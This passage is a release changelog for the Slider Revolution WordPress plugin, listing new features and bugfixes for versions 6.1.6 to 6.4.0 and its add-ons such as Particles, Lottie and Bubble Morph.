            • Revealer AddOn support to RS 6.4.0 added. Required version 2.2.0
            • Distortion / Liquied Effect AddOn support to RS 6.4.0 added. Required version 2.1.0
            • TypeWriter layer position will auto update if the layer dimension is set to auto. Required version 2.1.0
            • Lottie AddOn version 2.0.5 added "Respect Timeline Start" option. Requires RS 6.4.0
            Bugfixes
            • WP-CLI global variables issues are now fixed.
            • Shape layer with stream sources will show icon now and will hide coloring and image.
            • Hover animations from gradient to solid, solid to gradient will work well now in the editor and frontend
            • Protection against an issue where rapidly opening modal windows in the row may break the page
            • Dragging layer in animation mode where init values is inherit do not change the x,y transition values
            • SVG layer icons show text layer icon on timeline
            • Fixed issues in the Slider Revolution Gutenberg block causing React warnings
            • Fixed slide thumbnail previews not always refreshing in admin
            • Fixed parallax causing screen artifacts in rare cases
            • Progress bar circle throws error if radius is smaller than strength
            • Blur overflows the image layer on Safari
            • Fast clicking on carousel would trigger "cancel" event on carousel and carousel would fail
            • Added protection against third party plugins/themes conflict with slider background images
            • Clicking outside of a modal fails to close the modal
            • Fixed Chrome artifact issue when using parallax with blur animation

            Version 6.3.10 (8th February 2021)

            Bugfixes
            • Frames with filters rendering glitch due the latest fixes in version 6.3.8 and 6.3.9

            Version 6.3.9 (3rd February 2021)

            Bugfixes
            • Before After interaction not available if thumbnail or tab navigation is enabled
            • Slider export with audio files missing the file or url pointing on the original audio file
            • Issues with audio editing in backend. Playback can not be started
            • Filter effects produce artifacts on hover animations since the latest fix 6.3.8

            Version 6.3.8 (2nd February 2021)

            Bugfixes
            • Layer animated with blur produce artifacts in Chrome version 88 and Chrome version 89

            Version 6.3.7 (25th January 2021)

            Bugfixes
            • In some odd cases slider is hidden in the Facebook "In App Browser"
            • Installing AddOn does not show the installed version until refreshing the page
            • "Observe Wrap" option is not working

            Version 6.3.6 (20th January 2021)

            New Features
            • Added a "wrapper observer" option to execute a module redraw in case the wrapper dimension has changed. This is useful for modules in tabs. Check the editor/general/browser behavior tab
            Bugfixes
            • Carousel layers sometimes animate again after changing slides
            • Carousel rows change in size after being focused, if column has an overdimensional image
            • PHP notices sometimes influence content and content dimensions
            • Bubble Morph dimension issues in carousel
            • Images are not fetched from WooCommerce posts, if "image from stream if exist" is selected
            • Steam preview shows wrong error information
            • Custom particle not using the correct color in particle effects
            • Issues with toggle media and mute in groups
            • FilmStrip scrolling issues on mobile
            • Wrong dimension calculations sometimes causes overlapped layers in the editor
            • Global color skin modal not showing automatically
            • Google fonts download for Material Icons to host Material Icons locally not working correctly
            • WhiteBoard addon issues
            • Updated and extended error messages if the stream is not available. The preview will be auto closed
            • Dragging a carousel when touching a link does not work in some cases
            • Translated slides are not removed if the parent slide has been deleted
            • "From left" and "from right" animations on rows have wrong offset values
            • Vimeo "Auto Play: Off" and "Mute at Start: Off" is not playing music, neither does it show the mute/unmute button on mobile devices
            • Changing animation attributes on the "Anim From" keyframe, does not visually update changes
            • Dragging layers in animation view doesn't change the values of the selected (Set as Editor View) frame

            Version 6.3.5 (31st December 2020)

            Bugfixes
            • Added a protection against loop animation on layers where curviness was allowed and no values were set on x,y which may have produced console errors
            • Changing metas in the navigation editor will now straight add changes to the global and slide based styles
            • Fixed: Post excerpt limitations will now really make a difference between words and chars
            • Fixed: The vertically position of the progress bar may not show up well on slides with dynamic height in carousel view
            • Reducing amount of columns in a row will now copy layers from the "removed" column into the last existing column
            • Fixed: Rare error in backend that prevented editing sliders in case the new covered mode of layers has been used
            • Fixed: Chrome layout breaks on device orientation change

            Version 6.3.4 (23rd December 2020)

            New Features
            • Added PHP 8.0 compatibility
            • Added vertical and horizontal mask offsets to the navigation thumbs and tabs to allows shadows and glows on objects
            Bugfixes
            • Videos may have started on the 1st click on the module in case the video was already played and paused. This comes due to a fix for the new browser rules which would not allow to play any media without user interaction. Now further protection has been added
            • Added protection in the editor against corrupt layers which are not standard and have been added due to an earlier bug in very rare situations.
            • Deprecated function align left, right, center of the module has been removed. Floating of full container must added on a higher container structure and not within the slider itself anymore.
            • Fixed integration of Essential Grid, which was not loading as an embeded layer in Slider Revolution on second or further slides
            • Slider with static group layers may got huge offsets next to the module on mobile devices. This overflow issue has been fixed now
            • Fixed Maintenance AddOn WP 5.6 compatibilty. Requried AddOn version: 2.1.3
            • Navigation default font-family was not editable/available in the navigation editor and in the slide/module navigation presets
            • Selected navigation type did not open up the right modal if the navigation has been edited

            Version 6.3.3 (10th December 2020)

            Changes
            • Post meta data are not saved anymore when they are at the default value
            • First click of a slider module will double check now any existences of videos in the active slide before the call is triggered
            Bugfixes
            • Fixed image border in columns where the image was overlaying its own border in columns
            • Rows with 10 columns were not allowed due to a bug in the sanitize function. This bug is solved now
            • Fixed the optimizer where websafe fonts broke the font size output in some rare cases

            Version 6.3.2 (2nd December 2020)

            Bugfixes
            • Single slides were not visible when importing template slides in the editor
            • ​Added protection against layertype "textshadow" and "boxshadow" which could accidentally be added due to the quick style editor in preversions of RS.
            • Navigation bullet position based style did not work due to missing spaces between the class names
            • Dione bullets had no font size and line height settings, which made dione bullet look different in the backend and in frontend
            • Fixed video position calculation in groups if the video height is set to 100% and the video is not loaded before the group is drawn
            • In some cases the slider height was not auto updated when the height shrinks and a new slide has no rows added to the content
            • Covered shape and image aligned to the module was not showing well in the editor
            • Replaced depricated jQuery functions to raise compatibility with upcoming WordPress versions

            Version 6.3.1 (24th November 2020)

            Bugfixes
            • Fixed a bug where in the layer actions, simple links did not properly prepend the correct http/https
            • Removed the "Undefined Text" output over the YouTube layer and background videos
            • Fixed a bug where setting the permissions inside of the global settings did not work properly
            • Exporting modules from backend may compress the file with a wrong format. Also requires the Video Scroll AddOn 2.0.2

            Version 6.3.0 (18th November 2020)

            New Features
            • Replaced the rendering processes which decreases page loading times, removes unneeded delays and boosts rendered frames per second
            • Reduced memory usage, improved rendering and calculation processes, smoothed out frame drops
            • Added 1 click installation for Modules and Packages with Addons that were not activated yet. They will be automatically activated and enabled
            • Static Layers can now be set individually to stay behind or over the module. This will not work on Rows and children of rows
            • Added custom deeplink tag per slide. Slides can be addressed now due to custom names like: http://mydomain.com#sunnyslide and also by slide order like: http://mydomain.com#slide2
            • Object Library Extension: Custom SVG files can be now uploaded to Object Library under My Custom SVG Files folder. Tags, Naming can be set directly in the Object Library
            • Layer Settings: Introducing SVG orignal Color option, which will respect to the original SVG's colors and will not fill / color paths and strokes
            • Particles Effects Addon 2.3.0 : Added custom SVG Support (Version 6.3.0 required)
            • Particles Effects Addon 2.3.0 : Added original Color option in case Custom SVG used as Particle
            • Particles Effects Addon 2.3.0 : Added Responsive Size management
            • Introducing Modal general speed, which will allow to harmonise and set the in and out animation of Modal windows
            • Added Mouse Wheel options to stop slider scroll on the way up/down and go through slides before page scrolls further if % of Module is visible in viewport
            • Paintbrush Addon Version 2.1.9 (13 Oct 2020) : Added support for Mobile Devices
            • MouseTrap Addon Version 2.0.8 (13 October 2020) : Added support for Mobile Devices
            • Introducing Video Scroll Addon 1.0.0
            • Introducing a brand new Lottie Addon
            • Added Random Slide to a layer action "Jump to Slide"
            • Delete and Duplicate slides now also available in the Overview Mode
            • Editor can zoom in and zoom out for now between 0,5 and 2 factors for better editing and support of smaller screen editing
            • Full Screen module offsets will be respected also if Time Scroll based animation enabled, to keep/stick the Module at the offset point instead of the top of the page
            Changes
            • Updated the Google Fonts library
            • Updated Drag and Drop functionality in Editor to protect column, row and group orders and make even more simple to move layers within a group , columns and rows
            • Updated Preloading and Preparing processes in Editor to make Editor loading time 50%+ quicker
            • Added intelligent on the demand of a field management in Editor to only render and prepare functions which are really necessary while in editing mode
            • Drag, Move, resize and further events will only be prepared if layers , slides, or referenced elements touched to win over 50%+ speed in backend rendering processes
            • Changed CodeMirror against RevMirror to avoid Namespacing issues with other Themes and Plugins
            • Reversed Timeline Frames (frame_999 of layers) will now respect in animation lengths
            • Reversed Timeline Frames are not marked with "(R)"
            Bugfixes
            • Fixed a bug where the instagram video was not showing as a layer
            • Disabled the New Relic browser monitoring in preview mode
            • Fixed undo/redo bug where color changing and further actions were sometimes not Undoable in editor due a color skin logical error
            • Changing Video sources in editor caused javascript crash on preview without reloading the page. This issue has been fixed
            • Fixed PE7 icon lineheights in frontend
            • Slide links over front layer did not work due some reference issues. This bug has beed fixed now
            • Fixed calculation issues if Group Layer height and width were defined via percentage and set to scene aligned
            • Fixed IE11 getElementsByTagName issue
            • Fixed vertical position calculation on Vertical centered rows
            • Fixed action triggered animations due multiple Frames where sometimes content was not visible after triggering them
            • Get rid of the bug where transparent Background Images with pan zoom effect doubled the bacground.
            • MouseTrap Addon 2.0.7: Fixed RTL Issues which disorted the horizontal position of Mouse triggered items
            • Fixed an issue where appending 3d Parallax items moved group and row children out of their wrapper causing random bugs
            • Issue with showing of multiple Adverts, warnings and information containers after Slider regsitration process has been fixed
            • Solved an issue where editor may not show layer and slide backgrounds if file name had spaces or special charachters
            • Problem solved when zIndex and Layer order was not sorted well after importing Layers from other Slider
            • Slide link zIndex issues has been fixed in some cases where Slide link which should overaly the layer was still underlaying them
            • Auto Reverse on Char, Word or Line splitted animations did not play the animation correct before. This issue has been fixed
            • Fixed a problem with default delays in general split animations where frame0 or frame1 anination used a dealy of 0
            • Fixed Split animation direction "Edge to Middle" which was until now a simple forward animation direction
            • Deleting Key Frame of Animation did not auto refreshed the Input fields in editor
            • Loading / editing Layers with splitted animation may not shown the correct frame lengths in editor
            • New Quickstyle elements will get auto Intelligent inheriting and these will be straight visible, without the needs to save and reload the module
            • Fixed Before/After Addon Safari issues. Required version 2.0.10
            • Fixed Version Comparing in Addons lists where version 2.0.10 was older than 2.0.9
            • z Transforms in depth were not well rendered on Splitted Text animations like Chars, Words and Lines
            • Calculation of Scroll progresses were not calculated well if the time scroll based module added as first element in page
            • Global Layers on two Slides disappeared on "backwards" module rotation
            • Fixed a bug where iOS Transformation on z axis were rendered on the wrong position
            • Particle Addon 2.3.1 Fixed: Particles failed to load on first slide in carousel slider
            • Bubble Morph Addon 2.3.1 Fixed: Bubbles failed to render on Carousel module
            • Fixed and issue where mutliple frame based layer animations get mixed up if layer is moved into a group / column
            • Filtering on char, words and line animations shown warning in console. This issue has been fixed

            Version 6.2.23 (15th September 2020)

            New Features
            • Added new Mouse Trap addon for mouse animations and advanced actions on layers
            • 7 brand new templates are now available (3 for demonstrating the Mouse Trap addon functionality)

            Version 6.2.22 (21th August 2020)

            Changes
            • Added new Colorpicker Engine similiar to Slider Revolution. Custom Colors can be saved and they are synchronised with Slider Revolutions Color Palettes
            Bugfixes
            • Fixed a bug where post based sliders would show the featured image instead of its correct setting, if the background type was set to transparent or colored and image from stream was set to on
            • Fixed a conflict with the oxygen builder plugin that resulted in the previews of sliders not working properly
            • Moved the loading of custom eases to a later point to save some time for the first rendering of elements
            • Fixed initialisation of Slider Revolution if 3rd party plugins and/or themes do unbind state events on DOM
            • Fixed the admin top bar list where all slider were listed in some odd cases
            • Fixed and added Custom Meta lists to Sort Order
            • Fixed Pe7 Stroke icon getting wrong line-height issue
            • Improved compatibility with jQuery 3.x for checked and disabled inputs in backend

            Version 6.2.21 (18th August 2020)

            Bugfixes
            • The initialisation process when more than 1 slider exists, may have broken the page loading. Important fix
            • Fixed an early call of dimension updates in carousel mode, which may produce some JavaScript erros in some odd cases

            Version 6.2.20 (16th August 2020)

            Bugfixes
            • Auto sized containers and their content may not get the right dimensions if tabs or thumbnails are added outside of the module
            • Added protection against issues if the jQuery library is loaded in the footer
            • Fixed issues for Vimeo background video sizing issues if dimensions are doubled to retina size

            Version 6.2.19 (14th August 2020)

            Changes
            • Added fixes for future jQuery compatibility for upcoming WordPress versions (5.6+!) in december
            Bugfixes
            • Particles Effects 2.2.6: WP 5.5 issues fixed
            • Added protection against wrong URL parameter orders which can negatively effect Slider Revolution editor mode
            • Added protection against 3rd party and theme WP5.5 incompatibilities. Even if the theme or 3rd party plugin throws JavaScript errors, Slider Revolution will try its best to process normaly

            Version 6.2.18 (11th August 2020)

            Changes
            • Wordpress Version 5.5 Gutenberg compatibility added
            Bugfixes
            • Copy/Paste shapes in editor with % based sizes may failed. This issue has been fixed now
            • Group, row and column layers can only have JavaScript based actions. The "a" tag option is removed now for these layer types
            • Fixed rows and layer alignment issue in RTL mode
            • Fixed overall calculation issues on layers in RTL mode
            • Fixed layer repositioning on refocus bug when the 'respect ratio' option is turned on
            • Backend rows/columns background style with padding and margin may not show the same result as in frontend. This styling issue has been fixed now
            • Fixed resize issue for auto layout slider
            • Fixed scrollbar issue for windows where on resizing scrollbar disappears/reappears
            • Fixed custom navigation skin CSS metas, where no new metas can be added if at first start a meta was not existing
            • Fixed static layer failing display in IE11
            • Fixed issue where 3D transformed layers jump due to changed perspective
            • Font Family drop down in the navigation editor for custom meta placeholders has been fixed
            • Bubbledmorph: Fixed a bug where bubblemorphs disappear on desktop. Version 2.1.5 Required
            • Fixed calculation of layer positions during browser resizing
            • Fixed iOS Zoom calculation issues
            • Video resizing issue after orientation change fixed on mobile devices
            • Instagram and other social stream video sources and their image covers was not showing in some kind of odd situations. This issue has been fixed now
            • Fixed HTML5 flickering issues on slide change and loop
            • Slider optimization overview delivered undefined values

            Version 6.2.17 (17th July 2020)

            New Features
            • Added new option: Start Background Video after the slide transition finished to avoid issues where the bg videos first few seconds were missing if the transition animated only the poster image
            Bugfixes
            • added two missing ; into JavaScript parts in output.class.php
            • Fixed Kenburns effects initial load issue where the background was getting a wrong height
            • Fixed the background video flash effect at the first start of the video
            • Added support for slider exported on Safari where after re-compressing, the slider wasn't getting imported properly
            • Bubbledmorph: Fixed converted sizes order (mobile was getting the wrong size)
            • Throttled scroll event listener to improve performance
            • Fixed a bug where modules could not be initialised if they opened delayed via a custom scripts or were loaded per ajax not using internal functions.
            • Fixed Toggled Text styling issues, where the whitespace settings were not written onto the toggled content, but only on idle content
            • Fixed instagram, taking the videos even if the slide is set to transparent
            • Changed HTML5 video in animation to avoid flickering when the poster and video crossfades
            • Fixed slide based align issues in default WordPress themes where the parent container size calculation may not deliver the right dimensions
            • Fixed optimizer JavaScript error if it was called from the Module Overview page and AddOns are in use but not loaded yet

            Version 6.2.15 (26th June 2020)

            New Features
            • Added the layer upscaling option module wide for fullwidth sliders which will open new design directions for % scaled elements i.e (See our Charity Map Template functionality)
            • Added align by option for the progress bar which can now be aligned by grid and module
            Bugfixes
            • Position information will be hidden by dragging elements within columns or out of the columns to hide unneeded undefined parameters
            • Added protection against infinity loops in the overview page in case folders were somehow pointing into each other creating recursive traps
            • Fixed a bug where text and button layers with placholders did not refresh the visibility after editing their real content in the editor
            • Fixed a bug where video streams would not work properly
            • Fixed Instagram Stream functionality

            Version 6.2.14 (20th June 2020)

            Bugfixes
            • Fixed a bug where JavaScript based simple links doubles the output and brakes the link process. This was an earlier fix for the action "CallBack" where ":" chars did brake the callback function. Both bugs are fixed now

            Version 6.2.13 (20th June 2020)

            New Features
            • Added further warnings in editor in case of a conflict with themes/plugins and server accessability
            Bugfixes
            • Fixed a bug where WPML slides of a slider would not be duplicated
            • Fixed issue with ":" special chars in call back actions
            • Fixed an issue where opening a modal with slide "x" multiple times was breaking the opening process
            • Fixed an odd zIndex issue where not focused slides in the editor with more layers than current editing slide may loose their zindex on layers after saving the full module
            • TypeWriter AddOn fixes version 2.0.3:
              • Added support for inline style on span tags
              • Added option to change the cursor color
            • Fixed a bug where action triggered loop animations did not start the animation. Also fixed loop animated elements which jumped to loop animation frame 0 during the slide out animation
            • Fixed issues with row/column heights where images that were added with padding into the first column, and the height of the image may negatively influence the calculation of the module height on slide swap
            • Fixed horizontal and vertical slide transition issues

            Version 6.2.12 (6th June 2020)

            Bugfixes
            • Fixed a bug that leads to broken post based sliders

            Version 6.2.11 (6th June 2020)

            New Features
            • Added an option to ignore mobile browser height changes based on scrolls. The urlbar and toolbar do disappear based on scroll, which would resize the fullscreen sliders. Set per module if you wish to ignore these behaviour of the mobile browser. This option is enabled by default
            Bugfixes
            • Video poster will show up if video has not started and the video has been resetted (just like coming from another slide) even if "Show Poster on Pause" is not selected
            • Video timeline now can be dragged even if "Show Poster on Pause" is selected, which is showing up with delay in this case if needed
            • Video click will now honor original clicks and start/play videos correctly
            • Fixed HTML5 video fullscreen playback on IE11
            • Fixed JavasScript error if an Essential Grid exists on the page and the Slider tries to recall Essential Grid's refreshing method
            • Fixed an issue where the loading of modules with ajax, removing them (with or without revkill method) and readding them to a later point in time did not start the modules correctly
            • Fixed an issue where the excerpt limit for WooCommerce was not correct
            • Fixed an issue where the alt for slide images was not written if it was empty
            • Fixed an issue where AddOn downloads showed up as success and after reload the AddOn is not installed
            • Fixed an issue not displaying photos from a Facebook albums
            • Fixed a bug where static layers with custom animations may do not appear in certain situations
            • Panorama Addon 2.1.2: Added support for external images

            Version 6.2.10 (28th May 2020)

            Bugfixes
            • Fixed an issue with a tag links not being able to be clicked in carousels in some cases
            • Fixed undefined JavaScript error in the thumbnail position calculation in case thumbnails were loaded with delay on stage
            • Fixed JavaScript error if the progressbar stopped due to a mouse event before the progressbar has been created. This issue occured in very rare situations only
            • Fixed a lazy loading issue where relative paths created by 3rd party plugins could not be compared with loaded filepaths in some very odd cases
            • Fixed mobile fallback on background images issue
            • Before After 2.0.7: Fixed a bug where the divider drop shadow wasn't getting a correct color
            • PaintBrush 2.1.8: Optimized rendering for FireFox
            • Particles Effects 2.2.3: Reduced the sensitivity of the particle reduction calculation
            • Particles Effects 2.2.3: Are now slowly removed over period of 5 seconds instead of removing them suddenly
            • Fixed an issue where toggled layers become visible and may overlay hoverable areas on underlaying modules before they started at all

            Version 6.2.9 (20th May 2020)

            Bugfixes
            • Media dimension calculation in rows, columns and groups was not always set on the first rendering. If the dimension of the parent container change, childen will reflow to show all layer sizes in the correct dimension
            • Removing a slide during slider process broke the progress. Issue is fixed now
            • Added perspective during layer animations to avoid unsmooth scaling, jittering effects
            • Fullscreen slider offset heights will be calculated on the very early start to avoid small height jumps
            • Calculating parent container dimensions for layer frame animations with top, left, right, bottom sources will now respect groups, rows and columns which will also fix the predefined Layer Library animation effects
            • New progress bars vertical and horizontal could not run on IE Edge and IE11 due the quick rendering process which detached and reattached elements to DOM
            • Removed overflow:hidden for IE browsers if the slider should go to fullwidth without the support of the sourrounding environment. This will now force in IE11 and Edge the containers to show the real fullwidth again
            • Before After 2.0.6: Fixed an issue where the Before After Slider did not resize well in modal after the modal opened a 2nd time in the browser

            Version 6.2.8 (16th May 2020)

            New Features
            • Introducing new options for the progress bar:
              • Modes: Show progress of full slider module or show progress of single slide
              • Progress types: horizontal, vertical, CW circle, CCW circle
              • Progress directions: RTL and LTR mode
              • Styling: background, color, gap size and color
              • Visibility on desktop, notebook, mobile and tablet
            Bugfixes
            • Fixed console errors in case static layers did not exist in some very rare cases
            • Fixed the block vertical scroll option on iOS which in some cases still allowed vertical scroll after swiping horizontally
            • Fixed a bug where block vertical scroll disabled the click on a tags and link actions
            • Carousel swipe on iOS was not possible if the slide link existed on single slides
            • Removed unneeded console logs
            • Fine tuned the file optimizer to ignore empty or not existing URLs
            • Added iOS 9.3.5 support for parallax events
            • Some URL parameter broke the slider on load. This issue has been fixed now
            • Fixed video animations start on 1st loop if videos were added as layers on carousel slides
            • ViewPort with % selection and scroll based animation may fail when the process falls back to JavaScript based calculation instead of the CSS solution. This bug has been fixed now.

            Version 6.2.6 (9th May 2020)

            Bugfixes
            • Fixed an annoying bug with scroll issues in the backend, where sometimes right toolbar got stuck after selecting layers, changing background types etc.
            • Conflicts between themes and the Slider Revolution Plugin based on the GSAP library has been resolved
            • Hover on elements were not working well in some situations if the mouse pointer was already hovering an element during the in animation.
            • Particle Effects 2.2.1: Grab mouse interactivity failed with an JavaScript error
            • FilmStrip 2.0.3: Fixed a bug where the filmstrip animation was getting slower after a while.
            • FilmStrip 2.0.3: Already animating elements were still animating in the background due to a syntax error. This has been fixed now

            Version 6.2.5 (7th May 2020)

            Bugfixes
            • Fullwidth carousels get cut off in some cases in themes and templates. Added a new calculation way to force fullwdith carousel sliders to overflow parent containers if needed
            • Added protection against double start of sliders during the initialisation process where in some very rare cases the process could break
            • Added a protection against double generated IDs for different auto created slide link layers
            • JavaScript error due to typo failure in middle arranged rows fixed
            • Imported or updated layer actions may fail if Toggle N/M is selected. The current fix will update the values and let you resave the slider with the correct values
            • Added new version for Tools to force Cached files to reload. In some cases Cache would not be rewritten after the plugin update

            Version 6.2.4 (6th May 2020)

            Bugfixes
            • OnScroll - the timeline based scroll range selection will not be shown anymore if it is not selected
            • Fixed a bug if justify carousel was selected in combination with auto width mode, where the calculation of window width returns NaN
            • Fixed an issue with scroll below and scroll to actions
            • SFX box out animation makes layers already visible before "IN" animations. This issue has been fixed now
            • Navigation thumbnails may not appear from streams in some odd cased. Issue is fixed now
            • Fixed layer positioning issues on first load when the outer navigation container was added to auto sized sliders
            • Added fallback to older scroll animation methods in case the template or theme is not supporting new methods
            • Fixed varousel bg videos which will now fill (cover) the slide to make sure that no black gaps exist, if a video was added as a background video
            • Particle Effects 2.2.0: Optimized drawing and calculations to improve performance
            • Particle Effects 2.2.0: Added support to play/pause drawing when slider is not in viewport
            • Particle Effects 2.2.0: Added support to measure performance and reduce number of particles to improve perfomance
            • Added a protection against mixed urls like www.domain.com/ and domain.com/ where sometimes images could not be loaded well
            • Fixed an issue where the Gutenberg Block ID of Slider Revolution could not be rewritten after reload

            Version 6.2.3 (5th May 2020)

            New Features
            • Introducing a core listener system which will synchronise and manage sliders on pages automatically
            CHANGES
            • Slicey AddOn's "Min PanZoom" value can be now also changed anything to >=100 (version 2.0.2 required)
            • Synchronised the video animation start with the slide change to start videos earlier
            • Updated many core functions to reduce loading times
            • Reduced the slider preparation times
            • Massively reduced CPU and GPU usage during slider processes
            • Favorit selection on templates in packages will show now in the favorite list as well
            Bugfixes
            • Fixed a bug where the saved color schemes were not imported properly
            • Fixed an deprecated notice in output.class.php for PHP 7.4 and newer
            • Fixed an E_ERROR in revslider-admin.class.php
            • Start with "predefiend" slide was not respected. Now it can be set even if the shuffle mode activated
            • Fixed the PanZoom blur filter effect in backend, which was only rendered in the editor during the PanZoom Animation
            • Background videos were not playing in carousel mode if the slide switched by navigation or automatically by progress. This issue is fixed now for all kind of sliders
            • Animating Before/After AddOn split position was not available on click since core version 6.2.x. To fix the issue please update the Before/After AddOn to version 2.0.4
            • Fixed JavaScript errors by removing loop animated layers from stage via action
            • Fixed an issue where some pseudo elements like placeholder within inputs had a wrong line height in Safari browsers
            • Fixed 'Slide to Left/Right/Top/Bottom' animations, which were disappearing in some cases after the second loop
            • Fixed click events on buttons and links in mobile browsers if the swipe action with block scroll was enabled
            • Fixed some Logic failure in Paint Brush AddOn which strongly influenced the Performance of slider processes. Requires Paint Brush AddOn version 2.1.6
            • Images from V5 with auto width and height on root will auto get their original dimension to properly resize on smaller devices. Bug fix for sliders which have been created in older V5 SR.
            • Fixed Lazy Load Support for Slicey AddOn. Requires Slicey 2.1.3
            • Fixed a bug where the disabling of "Lazy Loading of Images" may break the distortion effects in some situations. Requires 2.0.1 of Distortion AddOn
            • Fixed custom background gradient colors with easing effect where loading custom saved values stopped with JavaScript failures
            • Fixed Firefox 3D rotation issues where clickable elements were not available due to high tilts. There is now a max tilt of 25 in Firefox for 3D parallax worlds to solve this
            • Paint Brush 2.1.6 fix - Optimized performance
            • Paint Brush 2.1.6 fix - Option for blur effect on brush is respected now
            • Distortion 2.0.2 fix - Fixed a bug that caused additional calculations
            • Distortion 2.0.2 fix - Updated canvas size implementation to improve performance
            • Distortion 2.0.2 fix - Fixed a mousemove glitch and improved performance
            • Distortion 2.0.3 fix - Cross origin issue
            • Distortion 2.0.3 fix - Wrong distortion map before redrawing
            • Bubble Morph 2.1.1 fix - Fixed bug preventing some bubblemorphs from starting
            • Bubble Morph 2.1.1 fix - Optimized performance if page includes multiple bubblemorphs
            • Before After Slider 2.0.5 - Fixed jQuery error if Slider loaded in Modal Sliders with Before After Addon
            • Slicey 2.0.5 - Fixed Javascript error on Slicey Addon when Blur Filter get activated
            • Fixed the navigation position calculation where vertical positions were not always calculated correctly
            • Fixed miscalculation of paddings, margins and navigations in carousel mode if the padding and/or margin was set via module and carousel
            • Fixed an error where SVG file paths for static layers in existing templates and exports may point to the wrong direction after reimporting them
            • Old templates with YouTube or Vimeo streams did not import correctly. This bug is fixed now
            • Fixed an bug where fonticons where not loaded in modal sliders
            • Global Skin Colors were not working after import oder import/export of layers due wrong id references
            • Fixed Allow FullScreen button in video settings. It will disable fullscreen options in almost all cases except HTML5 videos in Firefox and Safari which are not supported out of box unfortunately
            • Fixed an issue where layers were not available for pointer events if they were included in other layers with scroll based animation and scroll is not yet triggered.
            • Fixed HTML5 Video Loop and Start issues in Safari browser. The Video will be shorten with 0.075sec and auto rewinded in case the loop option is selected to work around the native videoplayer delay bug in Safari Browser
            • Fixed Windows Browser behaving when the modal opens to avoid small jumps and/or double scrollbars

            Version 6.2.2 (7th March 2020)

            Changes
            • Links with target="_blank" will be extended with the rel="noopener" attribute to avoid performance and security issues
            • Double defined slide link actions : "Next Slide" and "Previous Slide" removed from the "Jump To Slide" action to avoid misunderstanding (existing values are still available)
            • Added ScrollTo GreenSock Plugin with the latest Version to avoid issues where 3th Party Plugins and Themes using RS Libraries with older components of GreenSock
            Bugfixes
            • Fixed an issue where sliders could not be lunched on iOS 9.x deviced due to a JavaScript issue
            • Corrected the naming of some attributes in the 3D parallax settings for better understanding
            • Fixed a bug where the update process from V5.x to 6.2.1 would break in some cases the slide animation settings
            • Fixed "first slide" and "last slide" links due the "jump to slide" action
            • Fixed skew transforms in frontend rendering where elements kept their calculated "scale and skew" values in case any of the skew attributes had negative values
            • Fixed layer size calculation in frontend rendering if the layer was added to a group with % based width and/or heights
            • Fixed Thumbail and Tab positions calculation glitches if RTL navigation is enabled.

            Version 6.2.1 (26th February 2020)

            New Features
            • Layer background supports now also image sources from stream
            • Added custom fonts list to global settings, which supports custom fonts in the editor area also.
              Available options: font family name, url to font style, available font weights, load font in front- and/or backend environment
            Changes
            • ThemePunch tool main reference "punchgs" has been replaced by "tpGS"
            • GreenSock Engine update from Version 2.x to Version 3.x
            • Easing now have new aliases. i.e. Power2.easeInOut now can be referenced with short names like power2.inOut
            • Added carousel mobile swipe and desktop mobile swipe options under the navigation touch section which allows you to disable the carousel navigation via touch if needed
            • Timeline limit extended to a maximum of 3:00 min
            • Merged the AddOn notices into one single notice
            • Optimized page loading
            • Reduced file sizes for faster loading times
            • Added sharp corners also to shape layers
            Bugfixes
            • Text decoration style will no longer be applied to row, column and group layers
            • Auto width full height image layers will now respect also the image width in FireFox
            • Importing a package into a folder will no longer return an moving error even thought the slider was properly moved
            • Releasing Mouse outside of Modal windows will not any more close the Modal windows, to support copy/paste within text editors
            • Fixed an issue where the touch/swipe functionality on full slide links in carousel mode was not working properly.
            • Fixed the color animation if the text color has been animated from a different value to the default and the splitted text option was set in character, word or lines mode.
            • Fixed hover animation issues in editor mode where the default filters added an odd black flash effect to the animation start
            • Fixed navigation not working anymore after loading a slider in a modal that has the "Put JS To Body" option set to on
            • Fixed a bug where old carousel sliders do not show all slides even if they should
            • Elements without 3d animation settings will now ignore the transform perspective attribute to render layers on retina displays as sharp as possible
            • Fixed an issue where the navigation arrows lost their thumbnail images after the first slide
            • Fixed an issue where the navigation thumbs of a post based slider would be scaled two times
            • Issue with Ken Burns effect in Firefox's latest browser hes been fixed where the animation stop playing after slide in transform
            • Fixed a very rare bug where JavaScript errors blocked any further functionality in the overview page when a template has been directly installed after updating the AddOns
            • Fixed small glitches in overview page and in editor
            • Scroll navigation in carousel sliders has beed fixed
            • Long Touch and swipe function in Carousel Sliders may made the whole slider container to jump and laggy
            • Fixed an issue where moving sliders from folders to root and back broke with JavaScript error

            Version 6.1.8 (30th January 2020)

            Bugfixes
            • Fixed google font preload not working properly with italic fonts
            • Fixed CountDown AddOn where the count down layers were not auto updated within groups, rows and columns. CountDown AddOn version 2.1.1 is required
            • Carousel animation was laggy if all layers were visible on all slide elements
            • Carousel did not auto transform to next slide and did not reacted to navigation evens if "snap to X alignment" option was turned off
            • Carousel Elements sometimes disappearing by Swipe if max amount of elements size smaller then Document width
            • Fixed exploding layers issues in the editor where a layer can not be moved around in the animation mode. AddOn version 2.1.0 required
            • Fixed an issue with exploding layers where the animation on Layers with a tag will not animate smoothly. AddOn version 2.1.0 required
            • Fixed an issue in the core of the Distortion AddOn which was breaking the slider editor in some rare cases
            • Fixed BubbleMorph shadow options. AddOn version 2.1.0 of the BubbleMorph AddOn is required
            • Navigation tabs and thumbs vertical scrolling will not scroll the page any more on mobile devices
            • Fixed Avada Slider Revolution Block (bug came with the 6.1.7 update of RevSlider)
            • Importing a package into a folder will no longer return an moving error even thought the slider were properly moved
            • Buttons become unresponsive on mobile (both iOS and Android) if Block Scroll option is turned on
            • Fixed Android Scroll issues on Slider when Swipe was enabled

            Version 6.1.7 (18th January 2020)

            Bugfixes
            New Features
            • Added Image Background from Stream for Layers
            • Fixed tabindex not beeing properly added
            • Fixed a bug with the plugin_locale filter
            • Fixed an issue with flickr not displaying images if original size is not available anymore

            Version 6.1.6 (10th January 2020)

            New Features
            • Added color skins to define global colors for different color attributes through any kind of element. I.e. create a color group for highlight colors and then attach them to the font-color, border-color, navigation elements, slide backgrounds, shape colors and so on. This is the best way to edit templates very quick and simple.
            • Carousel offset values can scale now also linear to slide scales to allow different horizontal carousel animations based on scale, horizontal offset and this new option
            • Added retina canvas support for the Paintbrush AddOn. The Paintbrush AddOn version 2.1.3 is required
            • Added global option to modify the Slider Revolution backend language manually (no need to change the whole WordPress backend language)
            • Carousel slides will load on demand with lazy loading if lazy loading is set to single/smart. The amount of loaded elements depend on the amount of visible slides set in the carousel settings.
